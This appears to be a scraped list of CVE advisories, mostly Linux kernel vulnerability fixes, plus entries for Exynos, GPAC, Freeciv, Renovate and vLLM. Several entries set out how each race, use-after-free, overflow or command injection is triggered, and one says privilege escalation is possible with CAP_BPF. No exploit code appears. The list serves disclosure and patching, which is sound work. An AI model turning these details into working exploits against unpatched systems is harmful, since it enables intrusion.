CVE-2026-89540	In the Linux kernel, the following vulnerability has been resolved: sunrpc: init gssp_lock before publishing proc entry create_use_gss_proxy_proc_entry() publishes /proc/net/rpc/use-gss-proxy via proc_create_data() before init_gssp_clnt() runs mutex_init() on sn->gssp_lock. Once the dentry is linked under proc_subdir_lock it is immediately reachable from userspace, so a write that lands in the window drives set_gssp_clnt() into mutex_lock() on a zero-initialized struct mutex. create_use_gss_proxy_proc_entry(net) proc_create_data("use-gss-proxy", ...) /* dentry live */ init_gssp_clnt(sn) mutex_init(&sn->gssp_lock) /* too late */ write_gssp() set_gssp_clnt(net) mutex_lock(&sn->gssp_lock) /* uninitialized */ gssp_rpc_create(...) sn->gssp_clnt = clnt mutex_unlock(&sn->gssp_lock) The window spans only the two statements between proc_create_data() returning and init_gssp_clnt(), so a writer reaches it only if the registering thread is preempted there while another task is already opening the freshly published file. register_pernet_subsys() runs in preemptible context under pernet_ops_rwsem, so that preemption is possible, and the window widens on auth_rpcgss module load, when the proc entry is created for every live net namespace whose tasks are already running. A writer that wins the race locks a zero-filled struct mutex. On CONFIG_DEBUG_MUTEXES the missing magic value trips a "lock used without init" splat; on a production kernel the fast path acquires the lock via CMPXCHG(owner, 0, current). In the latter case a second writer that arrives before init_gssp_clnt() re-zeroes owner can enter set_gssp_clnt() concurrently, shut down the first writer's clnt while it is still in use, and leak the loser's clnt. Fix by initializing sn->gssp_lock in sunrpc_init_net() so its lifetime matches the sunrpc_net it lives in. sn->gssp_clnt is already NULL from the kzalloc that backs net_generic storage, so the lazy helper is no longer needed; drop init_gssp_clnt(), its prototype, and the call from create_use_gss_proxy_proc_entry(). sunrpc.ko is a build-time dependency of auth_rpcgss.ko, so sunrpc_init_net() has always run on every netns before any auth_gss pernet init can publish the proc entry.	7.8	More Details
CVE-2026-89579	In the Linux kernel, the following vulnerability has been resolved: bpf: Harden bloom filter sizing and indexing on 32-bit kernels bloom_map_alloc() has two 32-bit-specific problems when the computed bitmap reaches the U32_MAX fallback case. First, BITS_TO_BYTES(U32_MAX) is evaluated with 32-bit arithmetic. The addition performed by DIV_ROUND_UP wraps, so the map allocates only the fixed-size bloom filter object while keeping bitset_mask == U32_MAX. Subsequent updates can then write past the allocated object. Second, fixing only the allocation size is not sufficient. The bloom hash is a u32, but set_bit() takes a signed long bit number and x86 test_bit() eventually feeds the index to variable_test_bit(long, ...). On 32-bit kernels, hashes in [0x80000000, U32_MAX] therefore become negative bit offsets. x86 bt/bts with a memory operand interpret those offsets relative to the supplied base, so a map with bitset_mask == U32_MAX can read or write before bloom->bitset even after allocating the full 512 MiB bitmap. Keep the U32_MAX fallback, but	7.8	More Details

	split each hash into a word pointer and an in-word bit number before calling test_bit() or set_bit(). The bitops argument is then always in [0, BITS_PER_LONG - 1], while BIT_WORD(h) still selects the intended word in the full bitmap. Compute the bitset size from (u64)bitset_mask + 1 before passing the final size to bpf_map_area_alloc(). This fixes the original under-allocation and keeps the allocated storage consistent with the addressable bitset. Exploitation note: local privilege escalation is possible on a 32-bit x86 kernel using the under-allocation bug from a binary with CAP_BPF.		
CVE-2026-23789	An issue was discovered in MFC in Samsung Mobile Processor and Wearable Processor Exynos 850, 1080, 2100, 1280, 2200, 1330, 1380, 1480, 2400, 1580, 2500, 2600, 1680, W920, W930, and W1000. A double-free vulnerability in the Exynos MFC encoder driver (due to improper cleanup of dma_buf references during error handling) leads to kernel memory corruption and potential arbitrary code execution.	7.8	More Details
CVE-2026-89545	In the Linux kernel, the following vulnerability has been resolved: sunrpc: defer rq_argp and rq_resp free until after RCU grace period svc_rqst_free() frees rqstp->rq_argp and rqstp->rq_resp synchronously via kfree(), but defers the rqstp struct free via kfree_rcu(). After svc_exit_thread() calls list_del_rcu() and svc_rqst_free(), there is a window where RCU readers that started before list_del_rcu() can still traverse the thread list and find the rqstp. These readers (e.g. nfsd_nl_rpc_status_get_dumpit()) dereference rqstp->rq_argp, which has already been freed — a use-after-free. Fix this by moving the kfree of rq_argp and rq_resp into an explicit call_rcu() callback alongside the struct free. Resources not accessed by RCU readers (bvec, buffer pages, scratch folio, auth_data) remain synchronously freed.	7.8	More Details
CVE-2026-89548	In the Linux kernel, the following vulnerability has been resolved: SUNRPC: always drain cache_cleaner before destroying a cache_detail sunrpc_destroy_cache_detail() only cancels the global cache_cleaner delayed_work when cache_list is empty. During per-netns teardown cache_list is never empty because init_net's caches remain registered, so the cancel never fires. After unlink, the caller proceeds to cache_destroy_net() which kfrees the cache_detail while cache_clean() may still hold a dangling pointer to it. The result is a use-after-free: cache_dequeue() takes cd->queue_lock on freed memory, and cache_put() dereferences cd->cache_put as a function pointer from freed slab. Drop the list_empty guard so that cancel_delayed_work_sync() always runs, ensuring any in-flight cache_clean() completes before the cache_detail is freed. Re-arm the cleaner afterwards if other caches are still registered.	7.8	More Details
CVE-2026-89574	In the Linux kernel, the following vulnerability has been resolved: dm array: validate array block headers on read array_block_check() validates blocknr and csum and nothing else, while node_check(), next to it, has bounded the structural fields since both were written. dm_array_cursor_next() takes its loop bound from the on-disk nr_entries and element_at() is unguarded pointer arithmetic, so a count larger than the block holds keeps the cursor in one block while the index grows past it and the read walks off the dm-bufio buffer -- dm_cache_load_mappings() drives it once per cache block at activation. Check the header against itself: reject a zero value_size, require max_entries to equal calc_max_entries() for that value_size and block size, and require nr_entries to fit. Equality rather than an upper bound, since a count below the real capacity trips BUG_ON() in fill_ablock() and trim_ablock(). Metadata dm-array writes satisfies all three.	7.8	More Details
CVE-2026-89553	In the Linux kernel, the following vulnerability has been resolved: nouveau/gem: reserve the bo in the info ioctl around the vma lookup In the non-uvmm path, there could be a race between the info lookup finding the vma, and the gem close path closing the vma leading to a use-after-free. Spotted with the help of Opus 4.6.	7.8	More Details
CVE-2026-89573	In the Linux kernel, the following vulnerability has been resolved: dm array: reject an array block whose value size is not the caller's array_block_check() can only compare the header against itself, so a block with value_size 4 and max_entries 1018 is internally consistent and passes. dm-cache keeps two arrays -- mappings at 8 bytes and hints at 4 -- and the roots for both live in the superblock. Point the mappings root at a hint block and __load_mappings() walks it through an info whose value size is 8, so element_at() strides 8 bytes over 4-byte entries and reaches offset 8160 of a 4096-byte block. get_ablock() and __shadow_ablock() are the two places that hold the block and the caller at once. Reject there when the two value sizes disagree. Arrays only ever read their own blocks, so this fires on crafted metadata only.	7.8	More Details
CVE-2026-89557	In the Linux kernel, the following vulnerability has been resolved: md: do overflow check for sb->bblog_shift in super_1_load() In super_1_load(), sb->bblog_shift is an __u8 type value loaded from on- disk superblock. It is used for badblocks API badblocks_set() by the following sequence, 1930 rdev->badblocks.shift = sb->bblog_shift; 1931 for (i = 0 ; i < (sectors << (9-3)) ; i++, bbp++) { 1932 u64 bb = le64_to_cpu(*bbp); 1933 int count = bb & (0x3ff); 1934 u64 sector = bb >> 10; 1935 sector <<= sb->bblog_shift; 1936 count <<= sb->bblog_shift; 1937 if (bb + 1 == 0) 1938 break; 1939 if (!badblocks_set(&rdev->badblocks, sector, count, 1)) 1940 return -EINVAL; 1941 } bb->bblog_shit is in range of 0-255, variable sector is 64bit width, for an invalid bb->bblog_shit, it is possible to make sector be overflowed by the following calculation, 1935 sector <<= sb->bblog_shift; Then in turn when call badblocks_set() at line 1939 with the invalid rdev->badblocks.shift set at line 1930, may result an overflow inside _badblocks_clear() in block/badblocks.c. Although there are many places to call badblocks APIs, the non-zero shift value is only used in super_1_load(), other places always use 0 as the shift value. Therefore it is unnecessary to do a general shift value overflow check inside badblock API, and just check here as the caller. This may avoid unnecessary check, make the badblocks API code more simple and elegant.	7.8	More Details
	In the Linux kernel, the following vulnerability has been resolved: libnvdimm/labels: Prevent integer overflow in __nd_label_validate() The on-media namespace index field nslot is a u32 read from the DIMM label storage		

CVE-2026-89559	area. __nd_label_validate() bounds it against the config area size, but sizeof_namespace_label() returns unsigned, so the product nslot * label_size is evaluated in 32-bit and wraps modulo 2^32 before the comparison. A crafted nslot passes the bound and is then used as the loop trip count in nd_label_data_init(), whose memset() walks off the end of the config_size buffer: an out-of-bounds write. The field is not trusted -- it comes from the medium, or from userspace via ND_CMD_SET_CONFIG_DATA. Evaluate the product in 64-bit so the bound check is exact; conforming labels are unaffected. The check was safe when introduced by commit 4a826c83db4e ("libnvdimm: namespace indices: read and validate"): it multiplied by sizeof(struct nd_namespace_label), a size_t, so on a 64-bit build the product did not wrap. Commit 564e871aa66f ("libnvdimm, label: add v1.2 nvdimm label definitions") narrowed it to 32 bits when the label size became a runtime value read via sizeof_namespace_label().	7.8	More Details
CVE-2026-71613	Buffer Overflow vulnerability in GPAC c2dee3aff638cd96f9617ac5b17dc2868cd90ef3 allows an attacker to execute arbitrary code via the j2kdec_process() function. Fixed in 9a253a07fd3f6b48022bba74302bf39388dda859.	7.8	More Details
CVE-2026-89562	In the Linux kernel, the following vulnerability has been resolved: ip6_gre: fix hardware header length for NBMA tunnels ip6gre_tnl_link_config_route() accumulates the lower device's hardware header length into dev->hard_header_len whenever header_ops is set. This is incorrect for both users of header_ops. ip6gretap and ip6erspan have a fixed Ethernet hardware header length. For an NBMA ip6gre tunnel, ip6gre_header() creates only the GRE header, the optional FOU or GUE header, and the outer IPv6 header. The lower device header is headroom needed later, not part of the tunnel device's hardware header. Keep the lower device header in needed_headroom. Set hard_header_len to the tunnel header length only for ARPHRD_IP6GRE devices with header_ops, and leave the fixed Ethernet header length unchanged for tap and erspan devices.	7.8	More Details
CVE-2026-89563	In the Linux kernel, the following vulnerability has been resolved: ip6_tunnel: use skb_cow_head() in ip6_tnl_xmit() ip6_tnl_xmit() may need to expand headroom before it can push the outer IPv6 and optional encap headers. It currently does that with skb_realloc_headroom(), copies skb->sk ownership, consumes the original skb, and then continues processing with the replacement skb kept only in its local variable. That is safe only if the helper cannot fail afterwards. But this helper still has post-reallocation error exits. collect_md tunnels reject non-NONE encap after the replacement, and ip6_tnl_encap() can also fail later. In those cases the helper returns an error to its callers while the caller still only has the original skb pointer. Both ip6_tnl_start_xmit() and the IPv6 GRE paths free the caller skb on error, so they can end up freeing an skb that ip6_tnl_xmit() already consumed. Use skb_cow_head() instead. It provides the required headroom and writability without privately replacing the caller-owned skb, so later error returns cannot leave callers with a stale pointer. The Ethernet users, ip6gretap and ip6erspan, clear IFF_TX_SKB_SHARING and already call skb_cow_head() before entering ip6_tnl_xmit(). They do not rely on the removed skb_shared() reallocation. This also makes the IPv6 tunnel path consistent with ip_tunnel_xmit().	7.8	More Details
CVE-2026-89564	In the Linux kernel, the following vulnerability has been resolved: ip: orphan prefetched skbs before multicast forwarding IPv4 and IPv6 input preserve an skb->sk association installed by bpf_sk_assign() so that local delivery can use the selected socket under RCU. Both address families can also prefetch a socket in UDP early demux. In both paths (BPF and UDP early demux) a reference is not guaranteed to be held on the socket. When a multicast packet is not locally deliverable, IPv6 hands the original skb to ip6_mr_input(). IPv4's ip_mr_input() similarly keeps the original skb when local delivery is not needed. Either path can put the skb on an unresolved multicast route queue or forward it after the receive-side RCU section ends. After the prefetched socket is destroyed, a later skb free invokes sock_pfree() and dereferences the stale skb->sk. Orphan the skb before each non-local multicast forwarding path. Local delivery retains the original skb; the existing skb_clone() calls provide multicast forwarding with a socket-free clone.	7.8	More Details
CVE-2026-89523	In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7925: cancel pending mlo_pm_work If the device is reset, suspended or unregistered within that window, the pending work can still run and access vif/bss data that may already be freed, or send MCU commands while the firmware is not available. Add cancel_delayed_work_sync(&dev->mlo_pm_work) in all relevant teardown and suspend paths: - mt7925_mac_reset_work() (chip reset recovery) - mt7925e_unregister_device() (PCIe unbind) - mt7925_pci_suspend() (PCIe bus suspend) - mt7925_suspend() (mac80211 suspend) - mt7925u_suspend() (USB bus / runtime suspend) This ensures the work is stopped before the device state becomes invalid.	7.8	More Details
CVE-2026-89522	In the Linux kernel, the following vulnerability has been resolved: media: staging/ipu7: fix async notifier UAF on probe error path isys_register_devices() registers the V4L2 async notifier via isys_notifier_init(). If a subsequent probe step such as isys_fw_log_init() fails, isys_probe() jumps to the out_cleanup label which only calls isys_unregister_devices(). That helper tears down the video devices, subdevices, V4L2 device and media device, but never unregisters or cleans up the async notifier. As a result the notifier stays chained in the global notifier_list while the enclosing struct ipu7_isys is freed by devres, leading to list corruption and a use-after-free the next time the list is walked. The remove path already does the right thing by calling isys_notifier_cleanup() before isys_unregister_devices(). Mirror that on the probe error path so the notifier is unregistered and cleaned up before the device is torn down.	7.8	More Details
CVE-2026-90556	Freeciv versions before 3.2.6 contain a heap buffer overflow in worklist_load() when processing savegame files with declared worklist lengths exceeding the fixed array bound of 64 elements. Attackers can craft malicious savegame files that write past the entries array into adjacent heap-allocated struct fields, potentially corrupting memory when a user or server operator loads the file.	7.8	More Details

CVE-2026-89602	In the Linux kernel, the following vulnerability has been resolved: erofs: skip sufficiently large global buffers when resizing z_erofs_gbuf_nrpages is advanced only after every global buffer has been grown. If a resize fails after some buffers were enlarged, a retry revisits those enlarged buffers. Retrying the same size then returns -ENOMEM because alloc_pages_bulk() has no pages to add and the unchanged return value is treated as a failure. Retrying an intermediate size allocates a temporary pointer array smaller than gbuf->nrpages and copies more existing pointers than the array can hold. Skip buffers that already satisfy the request. Once all remaining buffers have caught up, advancing z_erofs_gbuf_nrpages again describes the guaranteed minimum size across the pool.	7.8	More Details
CVE-2026-89606	In the Linux kernel, the following vulnerability has been resolved: ecryptfs: reject too-small tag 70 packets ecryptfs_parse_tag_70_packet() subtracts fixed metadata fields from the parsed packet body size to derive the encrypted filename size. A malformed packet with a body smaller than those fixed fields can underflow that size calculation. Reject tag 70 packets before the subtraction unless the body contains the signature, cipher code, and at least one byte of encrypted filename data.	7.8	More Details
CVE-2026-88889	Renovate before 44.14.7 contains a command injection vulnerability in the Maven Wrapper manager that allows attackers to execute arbitrary commands by specifying a malicious distributionType parameter in maven-wrapper.properties. Attackers can inject shell commands through unescaped distributionType values to achieve remote code execution when Renovate processes Maven Wrapper updates in binarySource=docker mode.	7.8	More Details
CVE-2026-89605	In the Linux kernel, the following vulnerability has been resolved: ecryptfs: release message context on send failure ecryptfs_send_message_locked() moves a message context from the free list to the allocated list before sending the request to the userspace daemon. If ecryptfs_send_miscdev() fails, the context is left on the allocated list and cannot be reused. Move it back to the free list on failure and clear the caller's pointer.	7.8	More Details
CVE-2026-88886	Renovate is a dependency update automation tool. In versions before 44.14.7 (and in Mend Renovate CE/EE distributions before 15.4.0, and the mend-renovate-enterprise-edition Helm chart before 10.4.0), the manager/gradle-wrapper module does not escape the distributionUrl value read from a repository's gradle/wrapper/gradle-wrapper.properties file before invoking the Gradle Wrapper CLI. In self-hosted deployments configured with binarySource=docker and allowedUnsafeExecutions=['gradleWrapper', ...], a repository that supplies a crafted distributionUrl (for example, appending a shell metacharacter and command) can cause arbitrary commands to be executed as the Renovate user when Renovate processes a Gradle Wrapper update. The issue is fixed in Renovate 44.14.7; as a workaround, remove 'gradleWrapper' from allowedUnsafeExecutions.	7.8	More Details
CVE-2026-81000	In the Linux kernel, the following vulnerability has been resolved: net: tun: bound receive headroom tun_get_user() uses tun->align both as skb headroom and when choosing how much packet data to keep linear. OVS can propagate an oversized headroom request from another port to TUN or TAP. When align is larger than the usable space in a one-page skb head, SKB_MAX_HEAD(align) underflows and the result becomes negative when stored in good_linear. That value later wraps when assigned to the size_t linear variable, and tun_alloc_skb() can place skb->data outside the allocated head. Bound the headroom stored by TUN to the one-page skb-head budget and the largest non-sentinel 16-bit skb header offset. Leave one linear byte for raw TUN and a complete Ethernet header for TAP, including NET_IP_ALIGN. Also pull the raw-TUN protocol byte and the TAP Ethernet header before accessing them, so these checks remain safe for nonlinear skbs supplied by other allocation paths.	7.8	More Details
CVE-2026-89499	In the Linux kernel, the following vulnerability has been resolved: ring-buffer: Stop remote reader update when page swap fails The remote swap_reader_page callback can return -EBUSY when the writer moves the head before the remote catches it, particularly during an event storm on a small buffer. __rb_get_reader_page_from_remote() currently warns about that failure but continues with the unchanged reader ID and rearranges the local page list as though the swap succeeded. Handle the callback failure as a recoverable error. Report it with pr_warn_ratelimited() and return NULL. Callers already handle a NULL reader page as a failed attempt. This avoids splicing the same page as both the previous and new reader without flooding the log under contention.	7.8	More Details
CVE-2026-89500	In the Linux kernel, the following vulnerability has been resolved: ring-buffer: Make cpu_buffer::free_page a buffer_data_read_page Discarding a cached reader page after a concurrent ring buffer resize uses the new global subbuf_order for the free_pages() call. This mismatched order may crashes the kernel or leaks memory because the cached page was allocated under the old size. Save the actual free_page order alongside the page address to ensure we always refer to the correct value and do not rely on the potentially stalled cpu_buffer->subbuf_order value. The simplest is to make free_page a buffer_data_read_page which already covers exactly what we need: a page address and a page order.	7.8	More Details
CVE-2026-89501	In the Linux kernel, the following vulnerability has been resolved: ring-buffer: Hold cpu_buffer::lock when resizing a subbuf Because, ring_buffer_subbuf_order_set() can clear cpu_buffer->free_page, hold cpu_buffer->lock to prevent races with ring_buffer_alloc_read_page() and ring_buffer_free_read_page().	7.8	More Details
CVE-2026-	In the Linux kernel, the following vulnerability has been resolved: ring-buffer: Fix subbuf resize race with ring_buffer_alloc_read_page() ring_buffer_alloc_read_page() is racy with ring_buffer_subbuf_order_set, it can allocate a reader page with an outdated order. This isn't a big issue, the user can still re-allocate a new reader page and try again. However, what is more problematic is if the value of subbuf_order changes in the	7.8	More Details

89503	middle of ring_buffer_alloc_read_page(). In that case, bpage->order might not match the actual allocated memory. Use bpage->order for the allocation to prevent this race.		
CVE-2026-89520	In the Linux kernel, the following vulnerability has been resolved: sched/core: Make core-sched flips wait for in-flight selections Core scheduling's pick_next_task() operates on all sibling rqs under one acquisition of the shared core-wide lock. A ->pick_task() that releases the rq lock leaves every sibling __lock momentarily free, letting __sched_core_flip(false) complete mid-selection and rebind rq_lockp() under it. The selection resumes on the split locks, touching sibling state it no longer protects, and __schedule() finally releases a lock that was never taken while leaking the one that was. Count in-flight core-wide selections in the leader's rq->core_pick_in_flight and make __sched_core_flip() wait for the count to drain. The count only changes under the shared lock, which the flip holds while sampling, so no other ordering is needed. The wait can repeat while selections overlap, but the flip backs off between samples and flips are rare cookie-lifetime events. sched_core_cpu_deactivate() moves the count to the new leader - a stale copy left behind would bias it forever if that CPU later returns as its own leader.	7.8	More Details
CVE-2026-89600	In the Linux kernel, the following vulnerability has been resolved: fanotify: fix use-after-free of file range info fsnotify_pre_content() builds its file_range on the triggering task's stack. fanotify_alloc_perm_event() saves a pointer to range.pos in the heap-allocated permission event so copy_range_info_to_user() can report the offset later. The event reader can set the event state to FAN_EVENT_REPORTED and then sleep while preparing the file descriptor. If a signal interrupts the triggering task at that point, fanotify_get_response() changes the state to FAN_EVENT_CANCELED and returns. This unwinds the file_range stack frame while the reader still owns the event. The reader then dereferences pevent->ppos and copies the stale stack value to userspace. KASAN reported: BUG: KASAN: use-after-free in fanotify_read+0x293e/0x2970 Read of size 8 at addr ffff88811434fc50 by task fanotify_inotif/95 Call Trace: fanotify_read+0x293e/0x2970 vfs_read+0x177/0xa20 ksys_read+0xf7/0x1c0 do_syscall_64+0xf9/0x540 entry_SYSCALL_64_after_hwframe+0x77/0x7f Store the range position directly in the permission event and use FANOTIFY_NO_RANGE when range information is unavailable. The event remains alive until the reader finishes, so the reported offset no longer depends on the triggering task's stack.	7.8	More Details
CVE-2026-89507	In the Linux kernel, the following vulnerability has been resolved: RDMA/ucma: Lock the handler in ucma_write_cm_event() ctx->file may only be changed under the handler lock and the xa_lock, which is what stops uevents being queued for a ctx while ucma_migrate_id() moves it to another file. The CM core takes that lock before invoking ucma_event_handler(), but the write() paths that queue uevents themselves do not. ucma_write_cm_event() re-reads ctx->file for each of its four dereferences, so ucma_migrate_id() can swap it mid-sequence: mutex_lock(&ctx->file->mut); /* file A */ list_add_tail(&uevent->list, &ctx->file->event_list); /* file B */ mutex_unlock(&ctx->file->mut); /* file B */ wake_up_interruptible(&ctx->file->poll_wait); /* file B */ The window is the mutex_lock() itself: the writer sleeps in it while the migration reassigns ctx->file. The list_add_tail() then runs on file B's event_list holding only file A's mutex: list_add corruption. prev->next should be next (ffff888101320f30), but was ffff88814a08c418. (prev=ffff88814a075c18). kernel BUG at lib/list_debug.c:32! Call Trace: ucma_write_cm_event+0x36e/0x5e0 and file A's mut is left held forever, wedging its next writer in D state. The uevent is also stranded on a list ucma_cleanup_ctx_events() will not walk, so it outlives its context. /dev/infiniband/rdma_cm is 0666 and no RDMA device is involved, so an unprivileged user reaches all of this. Take the handler lock, as ucma_cleanup_mc_events() does; ctx->cm_id is pinned by the ucma_get_ctx() reference.	7.8	More Details
CVE-2026-89508	In the Linux kernel, the following vulnerability has been resolved: RDMA/ucma: Lock the handler in ucma_set_ib_path() ucma_set_ib_path() calls ucma_event_handler() straight from the write() path, without the handler lock that keeps ctx->file stable while a uevent is queued. The handler re-reads ctx->file for every dereference: mutex_lock(&ctx->file->mut); /* file A */ list_add_tail(&uevent->list, &ctx->file->event_list); /* file B */ mutex_unlock(&ctx->file->mut); /* file B */ wake_up_interruptible(&ctx->file->poll_wait); /* file B */ A concurrent ucma_migrate_id() reassigns ctx->file while the SET_OPTION caller sleeps in mutex_lock(), so the list_add_tail() lands on file B's event_list while only file A's mutex is held, racing every other user of that list: BUG: KASAN: slab-use-after-free in __list_add_valid_or_report+0x1aa/0x1c0 Read of size 8 at addr ffff888153c6a418 by task poc_corr/486 Call Trace: __list_add_valid_or_report+0x1aa/0x1c0 ucma_event_handler+0x1be/0xc00 ucma_set_ib_path+0x45e/0x710 ucma_set_option+0x32e/0x590 ucma_write+0x1f9/0x330 Allocated by task 505: ucma_write_cm_event+0x1a1/0x660 Freed by task 505: kfree+0x1da/0x4c0 ucma_get_event+0x5d5/0x7e0 The freed object is a ucma_event that another thread dequeued from file B's list under file B's mutex. File A's mut is left held on top of that, wedging its next writer in uninterruptible sleep. This path needs a bound and address-resolved cm_id, so it requires an RDMA device to be present. Take the handler lock around the call.	7.8	More Details
CVE-2026-89510	In the Linux kernel, the following vulnerability has been resolved: RDMA/cxgb4: Cancel reg_work before freeing device on remove c4iw_uld_state_change() queues reg_work to register the RDMA device. c4iw_remove() can free ctx->dev while this work is pending or running, leaving c4iw_register_device() accessing the freed device. Cancel reg_work before removing the device. The registration work can tear down ctx->dev when registration fails, so do not unregister or deallocate it again in that case. This issue was found by an in-house static analysis tool.	7.8	More Details
CVE-	In the Linux kernel, the following vulnerability has been resolved: fbdev: uvesafb: unregister connector callback on init failure uvesafb_init() registers the v86d connector callback before registering the platform		

2026-89597	driver. If platform_driver_register() fails, the function returns the error directly and leaves the connector callback registered. The later platform-device failure path already unregisters the callback. Add the same cleanup before the final return when platform-driver registration fails. This issue was identified during our ongoing static-analysis research while reviewing kernel code.	7.8	More Details
CVE-2026-89594	In the Linux kernel, the following vulnerability has been resolved: hsi: omap_ssi_core: fix missing DMA mask setup for SSI controller device The OMAP SSI driver uses a synthetic HSI controller device allocated via hsi_alloc_controller(), which does not go through the normal OF/platform device initialization path. As a result, the embedded struct device does not have a DMA mask initialized by default. After recent DMA API hardening changes, dma_map_sg() and related helpers now require a valid dma_mask to be present, otherwise the driver may crash or trigger warnings when attempting DMA mapping operations. Fix this by explicitly initializing the DMA mask for the SSI controller device and setting a 32-bit DMA mask, which matches the hardware capabilities.	7.8	More Details
CVE-2026-89587	In the Linux kernel, the following vulnerability has been resolved: ACPI: pfr_update: fix stack buffer overflow in query_capability() query_capability() copies four ACPI buffer objects returned by the firmware _DSM into fixed-size u8[16] fields in struct pfru_update_cap_info using memcpy with the firmware-supplied length: memcpy(&cap_hdr->code_type, elements[CAP_CODE_TYPE_IDX].buffer.pointer, elements[CAP_CODE_TYPE_IDX].buffer.length); The same pattern repeats for drv_type, platform_id, and oem_id. If the firmware returns buffer.length > 16 for any of these fields, memcpy writes past the destination array. struct pfru_update_cap_info is stack-allocated in pfru_ioctl(). Confirmed with KASAN on 7.2-rc6: three stack-out-of-bounds reports are generated when a DSM returns 64-byte buffers, with writes reaching 44 bytes past the end of cap_hdr's [64, 156) frame window into adjacent stack redzones. Introduce a helper pointer to out_obj->package.elements and use it to validate each buffer length against its destination field size before copying, returning -EINVAL if the firmware supplies an oversized buffer.	7.8	More Details
CVE-2026-90553	vLLM before 0.28.0 contains a remote code execution vulnerability in the LlavaOnevision2 processor loader that ignores the trust_remote_code parameter when loading remote processor classes. Attackers can craft a malicious model with arbitrary code in processing_llava_onevision2.py that executes with vLLM process authority even when trust_remote_code is set to False.	7.8	More Details
CVE-2026-81001	In the Linux kernel, the following vulnerability has been resolved: slip: fix use-after-free in sl_sync() slip_devs[] stores bare net_device pointers and takes no reference on them. sl_sync() and sl_alloc() walk that table from slip_open() under rtnl_lock(), while an entry is dropped by sl_free_netdev(), which sl_setup() installs as dev->priv_destructor. priv_destructor is called from netdev_run_todo(), which deliberately runs with the RTNL semaphore released so that it can sleep while waiting for the device refcount to drop: /* Snapshot list, allow later requests */ list_replace_init(&net_todo_list, &list); __rtnl_unlock(); ... if (dev->priv_destructor) dev->priv_destructor(dev); /* slip_devs[i] = NULL */ if (dev->needs_free_netdev) free_netdev(dev); ... /* Free network device */ kobject_put(&dev->dev.kobj); So rtnl_lock() does not serialise slip_open() against the teardown at all. sl_sync() can load slip_devs[i] while the entry is still published and dereference it after netdev_run_todo() has run the destructor and released the device: CPU0 (slip_open) CPU1 (slip_close) unregister_netdev() rtnl_unlock() netdev_run_todo() __rtnl_unlock() rtnl_lock() sl_sync() dev = slip_devs[i] priv_destructor(dev) slip_devs[i] = NULL kobject_put(&dev->dev.kobj) /* dev is freed */ sl = netdev_priv(dev) if (sl->tty || sl->leased) /* use-after-free */ BUG: KASAN: use-after-free in sl_sync drivers/net/slip/slip.c:730 [inline] BUG: KASAN: use-after-free in slip_open+0xef4/0x1210 drivers/net/slip/slip.c:806 Read of size 1 at addr ffff8880712dac71 by task syz-executor.2/6506 CPU: 2 PID: 6506 Comm: syz-executor.2 Not tainted 6.1.134-syzkaller-00260-g0c8fc3469765 #0 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.12.0-1 04/01/2014 Call Trace: sl_sync drivers/net/slip/slip.c:730 [inline] slip_open+0xef4/0x1210 drivers/net/slip/slip.c:806 tty_ldisc_open+0xa2/0x120 drivers/tty/tty_ldisc.c:433 tty_set_ldisc+0x324/0x720 drivers/tty/tty_ldisc.c:564 tiocsetd drivers/tty/tty_io.c:2428 [inline] tty_ioctl+0x5f0/0x1530 drivers/tty/tty_io.c:2712 Allocated by task 6502: alloc_netdev_mqs+0x98/0xfe0 net/core/dev.c:10719 sl_alloc drivers/net/slip/slip.c:756 [inline] slip_open+0x36d/0x1210 drivers/net/slip/slip.c:817 tty_ldisc_open+0xa2/0x120 drivers/tty/tty_ldisc.c:433 tty_set_ldisc+0x324/0x720 drivers/tty/tty_ldisc.c:564 Freed by task 6497: device_release+0xa2/0x240 drivers/base/core.c:2507 kobject_put+0x179/0x280 lib/kobject.c:729 netdev_run_todo+0x6c8/0xef0 net/core/dev.c:10509 slip_close+0x166/0x1c0 drivers/net/slip/slip.c:906 tty_ldisc_close+0x113/0x1a0 drivers/tty/tty_ldisc.c:456 tty_ldisc_kill+0x94/0x160 drivers/tty/tty_ldisc.c:614 tty_ldisc_release+0xe3/0x2b0 drivers/tty/tty_ldisc.c:782 tty_release+0xbcc/0xe70 drivers/tty/tty_io.c:1860 Commit e58c19124189 ("slip: Fix use-after-free Read in slip_open") fixed a different source of stale entries - a device left in slip_devs[] after slip_open() freed it on the registration error path - and does not address this race, which is why the report survives it. Drop the entry from ndo_uninit instead. unregister_netdevice() calls ndo_uninit under RTNL, before the device is queued to netdev_run_todo(), so an entry that sl_sync() can still see while holding RTNL belongs to a device that cannot be freed until RTNL is dropped. sl_free_netdev() stays only for the slip_open() error path, where register_netdevice() may have failed before ndo_init and ndo_uninit is then not called either. Both running for the same device is harmless: the ---truncated---	7.8	More Details
CVE-2026-	In the Linux kernel, the following vulnerability has been resolved: cxl/mce: Make the MCE notifier per-region Flavien Solt reported lifetime issues with the CXL MCE notifier, which can lead to NULL dereferences and use-after-free in the MCE handler. The notifier was registered per memory device and stored in 'struct cxl_memdev_state', even though it only needs the region state (the region's SPA range and its extended linear cache size). Instead of keeping the memory device and endpoint alive, the correct fix is to move the	7.8	More

89570	notifier into 'struct cxl_region' and register it from cxl_region_probe() as it should be a per-region notifier. Setup the registration to only happen for regions that have an extended linear cache as that is the only current usage. Remove cxl_port_get_spa_cache_alias() as it is now dead code. [dj: Update dev_warn() when notifier fails due to kconfig. (Ben)]		Details
CVE-2026-80952	In the Linux kernel, the following vulnerability has been resolved: i3c: master: Fix info leak and UAF in device unregister path i3c_master_unregister_i3c_devs() clears i3cdev->dev->desc before calling device_unregister(). During device_unregister(), device_del() emits a KOBJ_REMOVE uevent and unbinds the driver while the device descriptor is still expected to be valid. As a result, i3c_device_uevent() and a racing modalias_show() can observe a NULL desc and fall back to an uninitialized stack struct i3c_device_info, leaking kernel stack contents in the generated modalias. Driver .remove() callbacks may also encounter an unexpected NULL desc during unbind. Keep desc valid until device_unregister() has completed. Since device_unregister() drops the device reference and may free the device, take an extra reference with get_device() before unregistering. Clear desc afterwards and release the extra reference with put_device(). This preserves the release-time invariant that desc must be NULL while avoiding both the information leak and a potential use-after-free from writing desc after the device has been released.	7.8	More Details
